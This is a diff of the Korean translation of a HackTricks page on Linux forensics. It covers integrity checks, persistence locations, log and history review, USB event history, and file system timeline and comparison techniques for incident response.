+[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## 알려진 악성 코드 검색
+## 알려진 악성코드 검색
### 수정된 시스템 파일
-Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제가 될 수 있는 파일을 식별하는 데 유용합니다.
+Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제를 일으킬 수 있는 파일을 식별하는 데 중요합니다.
-* **RedHat 기반 시스템**: 포괄적인 확인을 위해 `rpm -Va`를 사용합니다.
-* **Debian 기반 시스템**: 초기 확인을 위해 `dpkg --verify`를 사용한 후 (`apt-get install debsums`로 `debsums`를 설치한 후) `debsums | grep -v "OK$"`를 사용하여 문제를 식별합니다.
+* **RedHat 기반 시스템**: 포괄적인 검사를 위해 `rpm -Va`를 사용하세요.
+* **Debian 기반 시스템**: 초기 검증을 위해 `dpkg --verify`를 사용한 후, `debsums | grep -v "OK$"` (먼저 `apt-get install debsums`로 `debsums`를 설치한 후)로 문제를 식별하세요.
-### 악성 코드/루트킷 탐지기
+### 악성코드/루트킷 탐지기
-악성 코드를 찾는 데 유용한 도구에 대해 알아보려면 다음 페이지를 읽어보세요:
+악성코드를 찾는 데 유용할 수 있는 도구에 대해 알아보려면 다음 페이지를 읽어보세요:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@@ -180,12 +181,12 @@ Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공
## 설치된 프로그램 검색
-Debian 및 RedHat 시스템에서 설치된 프로그램을 효과적으로 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 확인을 고려하세요.
+Debian 및 RedHat 시스템에서 설치된 프로그램을 효과적으로 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 검사를 고려하세요.
-* Debian의 경우 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하여 패키지 설치에 대한 세부 정보를 가져오고, 특정 정보를 필터링하기 위해 `grep`를 사용합니다.
-* RedHat 사용자는 `rpm -qa --root=/mntpath/var/lib/rpm`를 사용하여 RPM 데이터베이스를 쿼리하여 설치된 패키지를 나열할 수 있습니다.
+* Debian의 경우, 패키지 설치에 대한 세부 정보를 가져오기 위해 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하고, `grep`을 사용하여 특정 정보를 필터링하세요.
+* RedHat 사용자는 `rpm -qa --root=/mntpath/var/lib/rpm`로 RPM 데이터베이스를 쿼리하여 설치된 패키지를 나열할 수 있습니다.
-이 패키지 관리자 외에 수동으로 또는 이 패키지 관리자 외에 설치된 소프트웨어를 찾으려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, 및 _**`/sbin`**_과 같은 디렉토리를 탐색합니다. 디렉토리 목록을 시스템별 명령어와 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하는 데 도움이 됩니다.
+패키지 관리자 외부에서 수동으로 설치된 소프트웨어를 발견하려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, 및 _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록과 시스템 특정 명령을 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하세요.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -204,14 +205,14 @@ find / -type f -executable | grep
\
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## 삭제된 실행 중인 이진 파일 복구
+## 삭제된 실행 중인 바이너리 복구
-/tmp/exec에서 실행되었다가 삭제된 프로세스를 상상해보세요. 추출하는 것이 가능합니다.
+/tmp/exec에서 실행된 후 삭제된 프로세스를 상상해 보세요. 이를 추출하는 것이 가능합니다.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@@ -233,94 +234,96 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
-### 서비스
+### Services
-악성 소프트웨어가 서비스로 설치될 수 있는 경로:
+악성코드가 서비스로 설치될 수 있는 경로:
-- **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 시작 스크립트로 이어짐.
-- **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 이전 Linux 버전에서 발견됨.
-- **/etc/init.d/**: Debian과 같은 특정 Linux 버전에서 시작 스크립트를 저장하는 데 사용됨.
-- 서비스는 또한 Linux 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수 있음.
-- **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를위한 디렉토리.
-- **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 런레벨에서 시작해야 하는 서비스에 대한 링크를 포함.
-- **/usr/local/etc/rc.d/**: 사용자 지정 또는 제3자 서비스용.
-- **\~/.config/autostart/**: 사용자별 자동 시작 응용 프로그램에 대한 디렉토리로, 사용자를 대상으로 한 악성 소프트웨어의 은닉 장소가 될 수 있음.
-- **/lib/systemd/system/**: 설치된 패키지에서 제공되는 시스템 전역 기본 유닛 파일.
+* **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 추가적인 시작 스크립트로 안내합니다.
+* **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 구버전 리눅스에서 발견됩니다.
+* **/etc/init.d/**: Debian과 같은 특정 리눅스 버전에서 시작 스크립트를 저장하는 데 사용됩니다.
+* 서비스는 리눅스 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수도 있습니다.
+* **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리입니다.
+* **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 실행 수준에서 시작해야 하는 서비스에 대한 링크를 포함합니다.
+* **/usr/local/etc/rc.d/**: 사용자 정의 또는 타사 서비스를 위한 것입니다.
+* **\~/.config/autostart/**: 사용자 특정 자동 시작 애플리케이션을 위한 것으로, 사용자 타겟 악성코드의 은신처가 될 수 있습니다.
+* **/lib/systemd/system/**: 설치된 패키지에서 제공하는 시스템 전체 기본 유닛 파일입니다.
-### 커널 모듈
+### Kernel Modules
-악성 소프트웨어에 의해 루트킷 구성 요소로 자주 사용되는 Linux 커널 모듈은 시스템 부팅 시 로드됩니다. 이러한 모듈에 대한 중요한 디렉토리 및 파일은 다음과 같습니다:
+리눅스 커널 모듈은 종종 악성코드에 의해 루트킷 구성 요소로 사용되며, 시스템 부팅 시 로드됩니다. 이러한 모듈에 중요한 디렉토리 및 파일은 다음과 같습니다:
-- **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보관.
-- **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함.
-- **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을위한 파일.
+* **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보유합니다.
+* **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함합니다.
+* **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일입니다.
-### 기타 자동 시작 위치
+### Other Autostart Locations
-Linux는 사용자 로그인시 프로그램을 자동으로 실행하기 위해 다양한 파일을 사용하며, 이는 잠재적으로 악성 소프트웨어를 숨길 수 있습니다:
+리눅스는 사용자 로그인 시 자동으로 프로그램을 실행하기 위해 다양한 파일을 사용하며, 이는 악성코드를 숨길 수 있습니다:
-- **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인에 대해 실행됨.
-- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 해당 사용자 로그인시 실행되는 사용자별 파일.
-- **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환을 표시.
+* **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인 시 실행됩니다.
+* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 사용자 특정 파일로, 로그인 시 실행됩니다.
+* **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환이 끝났음을 나타냅니다.
-## 로그 검사
+## Examine Logs
-Linux 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 액세스, 악성 소프트웨어 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다:
+리눅스 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성코드 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다:
-- **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지 및 활동을 캡처.
-- **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인을 기록.
-- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링.
-- **/var/log/boot.log**: 시스템 시작 메시지를 포함.
-- **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용.
-- **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장.
-- **/var/log/dmesg**: 장치 드라이버 메시지를 보유.
-- **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움.
-- **/var/log/cron**: cron 작업 실행을 로그.
-- **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적.
-- **/var/log/btmp**: 실패한 로그인 시도 문서화.
-- **/var/log/httpd/**: Apache HTTPD 오류 및 액세스 로그를 포함.
-- **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록.
-- **/var/log/xferlog**: FTP 파일 전송을 기록.
-- **/var/log/**: 여기서 예기치 않은 로그를 항상 확인.
+* **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지 및 활동을 캡처합니다.
+* **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인 기록을 남깁니다.
+* `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링합니다.
+* **/var/log/boot.log**: 시스템 시작 메시지를 포함합니다.
+* **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용합니다.
+* **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장합니다.
+* **/var/log/dmesg**: 장치 드라이버 메시지를 보유합니다.
+* **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움을 줍니다.
+* **/var/log/cron**: 크론 작업 실행을 기록합니다.
+* **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적합니다.
+* **/var/log/btmp**: 실패한 로그인 시도를 문서화합니다.
+* **/var/log/httpd/**: Apache HTTPD 오류 및 접근 로그를 포함합니다.
+* **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록합니다.
+* **/var/log/xferlog**: FTP 파일 전송을 기록합니다.
+* **/var/log/**: 여기에서 예상치 못한 로그를 항상 확인하십시오.
{% hint style="info" %}
-Linux 시스템 로그 및 감사 서브시스템은 침입 또는 악성 소프트웨어 사건에서 비활성화 또는 삭제될 수 있습니다. Linux 시스템의 로그는 일반적으로 악의적 활동에 대한 가장 유용한 정보 중 일부를 포함하므로 침입자는 이를 일반적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때 삭제 또는 조작의 표시일 수있는 간격 또는 순서가 잘못된 항목을 찾는 것이 중요합니다.
+리눅스 시스템 로그 및 감사 하위 시스템은 침입 또는 악성코드 사건에서 비활성화되거나 삭제될 수 있습니다. 리눅스 시스템의 로그는 일반적으로 악성 활동에 대한 가장 유용한 정보를 포함하므로, 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때는 삭제 또는 변조의 징후가 될 수 있는 간격이나 순서가 어긋난 항목을 찾는 것이 중요합니다.
{% endhint %}
-**Linux는 각 사용자의 명령 히스토리를 유지합니다**, 다음 위치에 저장됩니다:
+**리눅스는 각 사용자의 명령 기록을 유지합니다**, 저장 위치는 다음과 같습니다:
-- \~/.bash\_history
-- \~/.zsh\_history
-- \~/.zsh\_sessions/\*
-- \~/.python\_history
-- \~/.\*\_history
+* \~/.bash\_history
+* \~/.zsh\_history
+* \~/.zsh\_sessions/\*
+* \~/.python\_history
+* \~/.\*\_history
-또한, `last -Faiwx` 명령을 사용하여 사용자 로그인 목록을 제공합니다. 알 수없거나 예기치 않은 로그인을 확인하십시오.
+또한, `last -Faiwx` 명령은 사용자 로그인 목록을 제공합니다. 알려지지 않거나 예상치 못한 로그인을 확인하십시오.
-추가 권한을 부여할 수있는 파일을 확인하십시오:
+추가 권한을 부여할 수 있는 파일을 확인하십시오:
-- 부여되었을 수있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers`를 검토하십시오.
-- 부여되었을 수있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers.d/`를 검토하십시오.
-- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/groups`를 검토하십시오.
-- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/passwd`를 검토하십시오.
+* `/etc/sudoers`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
+* `/etc/sudoers.d/`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
+* `/etc/groups`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
+* `/etc/passwd`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
-일부 애플리케이션은 자체 로그를 생성합니다:
+일부 앱은 자체 로그를 생성합니다:
-- **SSH**: 무단 원격 연결을 위해 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검토하십시오.
-- **Gnome 데스크톱**: Gnome 애플리케이션을 통해 최근 액세스된 파일을 확인하려면 _\~/.recently-used.xbel_을 살펴보십시오.
-- **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 기록 및 다운로드를 확인하십시오.
-- **VIM**: 액세스된 파일 경로 및 검색 기록과 같은 사용 정보를 위해 _\~/.viminfo_를 검토하십시오.
-- **Open Office**: 침해된 파일을 나타낼 수있는 최근 문서 액세스를 확인하십시오.
-- **FTP/SFTP**: 무단 파일 전송을 위해 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_의 로그를 검토하십시오.
-- **MySQL**: 실행된 MySQL 쿼리를 조사하여 무단 데이터베이스 활동을 나타낼 수있는 _\~/.mysql\_history_를 조사하십시오.
-- **Less**: 보고된 파일 및 실행된 명령을 포함한 사용 이력을 분석하기 위해 _\~/.lesshst_를 검토하십시오.
-- **Git**: 저장소 변경 사항을 위해 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검토하십시오.
+* **SSH**: 무단 원격 연결을 위해 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검사합니다.
+* **Gnome Desktop**: Gnome 애플리케이션을 통해 최근에 접근한 파일을 위해 _\~/.recently-used.xbel_를 확인합니다.
+* **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 기록 및 다운로드를 확인합니다.
+* **VIM**: 접근한 파일 경로 및 검색 기록과 같은 사용 세부정보를 위해 _\~/.viminfo_를 검토합니다.
+* **Open Office**: 손상된 파일을 나타낼 수 있는 최근 문서 접근을 확인합니다.
+* **FTP/SFTP**: 무단 파일 전송이 있을 수 있는 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_의 로그를 검토합니다.
+* **MySQL**: 무단 데이터베이스 활동을 드러낼 수 있는 실행된 MySQL 쿼리를 위해 _\~/.mysql\_history_를 조사합니다.
+* **Less**: 본 파일 및 실행된 명령을 포함한 사용 기록을 위해 _\~/.lesshst_를 분석합니다.
+* **Git**: 리포지토리에 대한 변경 사항을 위해 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검사합니다.
-### USB 로그
+### USB Logs
-[**usbrip**](https://github.com/snovvcrash/usbrip)는 순수 Python 3로 작성된 작은 소프트웨어로, Linux 로그 파일(`/var/log/syslog*` 또는 `/var/log/messages*`에 따라 다름)을 구문 분석하여 USB 이벤트 이력 테이블을 작성합니다.
+[**usbrip**](https://github.com/snovvcrash/usbrip)는 리눅스 로그 파일(`/var/log/syslog*` 또는 `/var/log/messages*`, 배포판에 따라 다름)을 파싱하여 USB 이벤트 이력 테이블을 구성하는 순수 Python 3로 작성된 작은 소프트웨어입니다.
-**사용된 모든 USB를 파악하는 것이 중요**하며, "위반 이벤트"를 찾기 위해 허가된 USB 목록이 있는 경우 더 유용할 수 있습니다.
+모든 USB 사용 내역을 아는 것은 흥미롭고, "위반 사건"(목록에 없는 USB 사용)을 찾기 위해 승인된 USB 목록이 있다면 더욱 유용할 것입니다.
+
+### Installation
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
@@ -333,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-더 많은 예제와 정보는 깃허브 내부에 있습니다: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
\
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## 사용자 계정 및 로그온 활동 검토
+## 사용자 계정 및 로그인 활동 검토
-알려지지 않은 이벤트와 관련하여 생성되거나 사용된 이상한 이름 또는 계정을 찾기 위해 _**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**를 조사하세요. 또한 가능한 sudo 브루트 포스 공격을 확인하세요.\
-또한, 사용자에게 부여된 예상치 못한 권한을 확인하기 위해 _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일을 확인하세요.\
-마지막으로, **비밀번호가 없는 계정**이나 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾으세요.
+_**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**에서 비정상적인 이름이나 계정을 조사하고, 알려진 무단 이벤트와 가까운 시기에 생성되거나 사용된 계정을 확인하십시오. 또한 가능한 sudo 무차별 대입 공격을 확인하십시오.\
+또한, _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일에서 사용자에게 부여된 예상치 못한 권한을 확인하십시오.\
+마지막으로, **비밀번호가 없는** 계정이나 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보십시오.
-## 파일 시스템 조사
+## 파일 시스템 검사
-### 악성 코드 조사를 위한 파일 시스템 구조 분석
+### 악성 코드 조사에서 파일 시스템 구조 분석
-악성 코드 사건을 조사할 때 파일 시스템의 구조는 이벤트 시퀀스와 악성 코드의 내용을 드러내는 중요한 정보원입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 기술을 개발하고 있습니다.
+악성 코드 사건을 조사할 때, 파일 시스템의 구조는 사건의 순서와 악성 코드의 내용을 드러내는 중요한 정보 출처입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 분석을 방해하는 기술을 개발하고 있습니다.
-이러한 안티 포렌식 방법에 대항하기 위해 다음이 중요합니다:
+이러한 반 포렌식 방법에 대응하기 위해서는 다음이 필수적입니다:
-* **Autopsy**와 같은 도구를 사용하여 이벤트 타임라인을 시각화하거나 **Sleuth Kit**의 `mactime`을 사용하여 자세한 타임라인 데이터를 분석하여 **철저한 타임라인 분석**을 수행합니다.
-* 시스템의 $PATH에 있는 **예상치 못한 스크립트**를 조사합니다. 이는 공격자가 사용하는 쉘 또는 PHP 스크립트를 포함할 수 있습니다.
-* **/dev**에서 **비정상적인 파일**을 조사합니다. 이는 일반적으로 특수 파일을 포함하지만 악성 코드 관련 파일을 포함할 수 있습니다.
-* ".. " (점 점 공백) 또는 "..^G" (점 점 컨트롤-G)와 같은 이름의 **숨겨진 파일 또는 디렉토리**를 찾습니다. 이는 악의적인 콘텐츠를 숨길 수 있습니다.
-* `find / -user root -perm -04000 -print` 명령을 사용하여 **setuid root 파일**을 식별합니다. 이는 공격자가 악용할 수 있는 권한이 상승된 파일을 찾습니다.
-* inode 테이블에서 **삭제 타임스탬프**를 검토하여 대량 파일 삭제를 확인하고 루트킷 또는 트로이 목마의 존재를 나타낼 수 있습니다.
-* 하나를 식별한 후 **인접한 악성 파일의 연속된 inode**를 조사합니다. 이들은 함께 배치될 수 있습니다.
-* **최근 수정된 파일**을 확인하기 위해 일반 이진 디렉토리 (_/bin_, _/sbin_)를 확인합니다. 이는 악성 코드에 의해 변경될 수 있습니다.
+* **Autopsy**와 같은 도구를 사용하여 사건 타임라인을 시각화하거나 **Sleuth Kit의** `mactime`을 사용하여 상세한 타임라인 데이터를 통해 철저한 타임라인 분석을 수행하십시오.
+* 공격자가 사용할 수 있는 셸 또는 PHP 스크립트를 포함할 수 있는 시스템의 $PATH에서 예상치 못한 스크립트를 조사하십시오.
+* 전통적으로 특수 파일을 포함하는 `/dev`에서 비정상적인 파일을 검사하십시오. 그러나 악성 코드 관련 파일이 있을 수 있습니다.
+* ".. " (점 점 공백) 또는 "..^G" (점 점 제어-G)와 같은 이름을 가진 숨겨진 파일이나 디렉토리를 검색하여 악성 콘텐츠를 숨길 수 있습니다.
+* 다음 명령어를 사용하여 setuid root 파일을 식별하십시오: `find / -user root -perm -04000 -print` 이 명령은 공격자가 악용할 수 있는 권한이 상승된 파일을 찾습니다.
+* 루트킷이나 트로이 목마의 존재를 나타낼 수 있는 대량 파일 삭제를 감지하기 위해 inode 테이블에서 삭제 타임스탬프를 검토하십시오.
+* 하나의 악성 파일을 식별한 후 인접한 inode를 검사하여 근처에 악성 파일이 있을 수 있습니다.
+* 최근에 수정된 파일이 있을 수 있는 일반 바이너리 디렉토리 (_/bin_, _/sbin_)를 확인하십시오.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@@ -373,63 +376,63 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
-**공격자**가 **파일을 수정**하여 **파일이 정상적으로 보이도록 시간을 조작**할 수 있지만 **inode**를 수정할 수는 없습니다. 만약 **파일**이 동일한 폴더 내의 다른 파일들과 **동일한 시간에 생성 및 수정**되었다는 것을 나타내지만 **inode**가 **예상치 못하게 더 크다면**, 해당 **파일의 타임스탬프가 수정**된 것입니다.
+공격자가 **파일**이 **합법적으로 보이도록** **시간**을 **수정**할 수 있지만, **inode**는 **수정**할 수 없다는 점에 유의하십시오. 동일한 폴더의 나머지 파일과 **동일한 시간**에 생성 및 수정된 것으로 표시된 **파일**을 발견했지만 **inode**가 **예상보다 더 크면**, 해당 **파일의 타임스탬프가 수정된 것입니다**.
{% endhint %}
-## 다른 파일 시스템 버전의 파일 비교
+## 서로 다른 파일 시스템 버전 비교
### 파일 시스템 버전 비교 요약
파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다:
-* **새 파일을 찾으려면**, 두 디렉토리를 비교합니다:
+* **새 파일을 찾으려면**, 두 디렉토리를 비교하십시오:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
-* **수정된 내용에 대해**, 특정 라인을 무시하고 변경 사항을 나열하십시오:
+* **수정된 콘텐츠에 대해**, 특정 라인을 무시하고 변경 사항을 나열하십시오:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
-* **삭제된 파일 감지**:
+* **삭제된 파일을 감지하기 위해**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
-* **필터 옵션**(`--diff-filter`)은 추가된(`A`), 삭제된(`D`), 또는 수정된(`M`) 파일과 같이 특정 변경 사항으로 좁히는 데 도움이 됩니다.
+* **필터 옵션** (`--diff-filter`)은 추가된 (`A`), 삭제된 (`D`), 또는 수정된 (`M`) 파일과 같은 특정 변경 사항으로 좁히는 데 도움이 됩니다.
* `A`: 추가된 파일
* `C`: 복사된 파일
* `D`: 삭제된 파일
* `M`: 수정된 파일
-* `R`: 이름이 바뀐 파일
-* `T`: 유형 변경(예: 파일에서 심볼릭 링크로)
+* `R`: 이름이 변경된 파일
+* `T`: 유형 변경 (예: 파일에서 심볼릭 링크로)
* `U`: 병합되지 않은 파일
* `X`: 알 수 없는 파일
* `B`: 손상된 파일
-## 참고 자료
+## 참고 문헌
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-* **책: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+* **책: Linux 시스템을 위한 악성코드 포렌식 필드 가이드: 디지털 포렌식 필드 가이드**
-제로부터 영웅이 될 때까지 AWS 해킹 배우기htARTE (HackTricks AWS Red Team Expert)!
+제로에서 히어로까지 AWS 해킹 배우기htARTE (HackTricks AWS Red Team Expert)!
-**사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
+**사이버 보안 회사**에서 일하고 계신가요? **HackTricks에 귀사의 광고를 보고 싶으신가요**? 아니면 **PEASS의 최신 버전에 접근하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
-* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
+* [**PEASS 패밀리**](https://opensea.io/collection/the-peass-family), 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
+* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 받으세요.
+* **참여하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **Twitter에서 저를 팔로우하세요** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-**해킹 트릭을 공유하려면** [**hacktricks 레포**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요.**
